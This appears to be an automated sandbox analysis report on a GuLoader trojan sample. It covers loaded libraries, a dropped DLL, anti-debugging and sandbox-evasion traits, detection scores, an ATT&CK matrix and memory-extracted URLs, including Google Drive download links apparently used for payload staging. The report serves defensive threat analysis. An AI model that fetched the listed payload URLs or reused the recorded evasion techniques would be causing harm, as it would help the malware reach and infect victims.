Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Gaulin.ini

Jump to behavior

Source: Ub46mg9pn4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: mshtml.pdbUGP source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000003.00000002.123249655615.0000000003533000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.119996620831.0000000005113000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Code function: 1_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_10001B18

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Code function: 1_2_10002DE0 push eax; ret

1_2_10002E0E

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

File created: C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	API/Special instruction interceptor: Address: 578352D
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	API/Special instruction interceptor: Address: 3BA352D

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe TID: 5552

Thread sleep time: -290000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Code function: 1_2_004066F3 FindFirstFileW,FindClose,	1_2_004066F3
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Code function: 1_2_00405ABE CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405ABE
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Code function: 1_2_00402862 FindFirstFileW,	1_2_00402862

Source: Ub46mg9pn4.exe, 00000003.00000003.120664621588.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120888879143.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120552178073.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122364188446.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.123153201609.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139636837.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120440068388.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001450225.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770201152.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\
Source: Ub46mg9pn4.exe, 00000003.00000003.120664621588.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120888879143.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120552178073.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121443257476.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122364188446.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.123153201609.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995140357.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139636837.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.123153261232.000000000609D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	API call chain: ExitProcess graph end node			graph_1-4671
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	API call chain: ExitProcess graph end node			graph_1-4513

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Code function: 1_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_10001B18

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Process created: C:\Users\user\Desktop\Ub46mg9pn4.exe "C:\Users\user\Desktop\Ub46mg9pn4.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

1_2_00403489

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ub46mg9pn4.exe	72%	Virustotal		Browse
Ub46mg9pn4.exe	75%	ReversingLabs	Win32.Trojan.Guloader
Ub46mg9pn4.exe	100%	Avira	TR/AD.NsisInject.dcjlo

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll	0%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.190.78	true	false		high
drive.usercontent.google.com	142.250.191.225	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://drive.usercontent.google.com/e%	Ub46mg9pn4.exe, 00000003.00000003.121001578842.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121561541749.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121785985727.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995140357.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667138903.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122146713557.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225858052.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107407962.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122024359150.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121114084404.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120889179644.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121779724132.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122033779228.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121674037286.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121331374133.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	Ub46mg9pn4.exe, 00000003.00000003.121561541749.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545722621.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891463499.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122924292281.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.0000000006150000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657853657.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122033042474.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120888797945.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122258534362.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120102425108.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120094923523.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776481233.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120095114017.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120439948809.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122364128029.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119988966029.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/download?id=1o7aKLajks8i40w	Ub46mg9pn4.exe, 00000003.00000003.120321142146.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119765033644.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120095114017.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433750777.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119429033452.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664731908.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658148205.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120102764531.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263517160.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870587140.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120440192425.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/r	Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Ub46mg9pn4.exe	false		high
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000626000.00000020.00000001.01000000.00000007.sdmp	false		high
https://drive.usercontent.google.com/of	Ub46mg9pn4.exe, 00000003.00000003.121225858052.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121114084404.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/Aq	Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.gopher.ftp://ftp.	Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/w(	Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/20000Z	Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/.M	Ub46mg9pn4.exe, 00000003.00000003.121001578842.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995140357.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776784939.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225858052.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107407962.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121114084404.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120889179644.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770304331.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120882654559.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121331374133.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121337618127.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	Ub46mg9pn4.exe, 00000003.00000003.122252423471.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107152084.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120208667768.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555287794.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475837705.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263540323.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995021647.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263385452.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664516867.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225732461.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001326877.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812272065.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758644205.0000000006145000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252356672.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770131383.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	Ub46mg9pn4.exe, 00000003.00000001.119339566772.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	false		high
https://drive.google.com/	Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667138903.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225858052.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475959028.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122370413671.000000000609D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/ertificates	Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	Ub46mg9pn4.exe, 00000003.00000001.119339566772.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	false		high
https://drive.usercontent.google.com/:	Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119429033452.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 